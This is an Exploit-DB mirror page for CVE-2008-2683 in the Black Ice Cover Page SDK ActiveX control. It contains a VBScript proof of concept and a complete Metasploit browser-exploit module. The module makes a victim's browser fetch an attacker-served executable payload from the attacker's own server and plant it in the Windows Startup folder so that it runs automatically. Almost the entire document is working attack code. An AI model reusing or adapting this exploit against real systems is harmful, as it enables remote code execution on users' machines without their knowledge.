Black Ice Cover Page SDK – Insecure Method ‘DownloadImageFileURL()’ (Metasploit)

  • 作者： mr_me
    日期： 2011-06-20
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/17415/
  • <html>
Blackice Cover Page SDK insecure method DownloadImageFileURL() exploit
<!--
RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False
vendor: http://www.blackice.com/
software link: http://www.blackice.com/DownloadForms/downloadformimp.asp?product=Cover+Page+Generator
-->

<object classid='clsid:79956462-F148-497F-B247-DF35A095F80B' id='target' ></object>
<script language='vbscript'>

arg1="http://www.google.com/robots.txt"
arg2="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\robots.txt"

target.DownloadImageFileURL arg1 ,arg2 
</script>
</html>

# MSF Module
##
# $Id: blackice_coverpage_download.rb 12540 2011-06-20 20:43:19Z mr_me $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:os_name=> OperatingSystems::WINDOWS,
		:javascript => true,
		:rank => NormalRanking,
		:vuln_test=> nil,
	})

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'Black Ice Cover Page ActiveX Control Arbitrary File Download',
			'Description'=> %q{
					This module allows remote attackers to place arbitrary files on a users file system
				by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX Control (BIImgFrm.ocx 12.0.0.0).
				This issue is also reported in BIDIB.ocx (10.9.3.0) within the Barcode SDK.
			},
			'License'=> MSF_LICENSE,
			'Author' => [ 
						'shinnai',	# original discovery
						'mr_me' 	# msf
					],
			'Version'=> '$Revision: 12540 $',
			'References' =>
				[
					[ 'CVE', '2008-2683'],
					[ 'OSVDB', '46007'],
					[ 'BID', '29577'],
					[ 'URL', 'http://www.exploit-db.com/exploits/5750/' ],
				],
			'DefaultOptions' =>
				{
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'=>
				{
					'Space' => 2048,
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'=>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'=> 0,
			'DisclosureDate' => 'Jun 20 2011'))

		register_options(
			[
				OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\']),
			], self.class)
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)

		payload_url ="http://"
		payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

		if (request.uri.match(/payload/))
			return if ((p = regenerate_payload(cli)) == nil)
			data = generate_payload_exe({ :code => p.encoded })
			print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
			return
		end

		# random junk
		vname= rand_text_alpha(rand(100) + 1)
		exe= rand_text_alpha(rand(20) + 1)
		clsid= "79956462-F148-497F-B247-DF35A095F80B"
		blackice = rand_text_alpha(rand(100) + 1)
		method = "DownloadImageFileURL"
		arg1 = rand_text_alpha(rand(100) + 1)
		arg2 = rand_text_alpha(rand(100) + 1)

		content = <<-EOS
		<html>
		<object classid='clsid:#{clsid}' id='#{blackice}' ></object>
		<script language='vbscript'>
		#{arg1} = "#{payload_url}"
		#{arg2} = "#{datastore['PATH']}#{exe}.exe"
		#{blackice}.#{method} #{arg1}, #{arg2}
		</script>
		</html>
		EOS

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		send_response_html(cli, content)

		handler(cli)

	end

end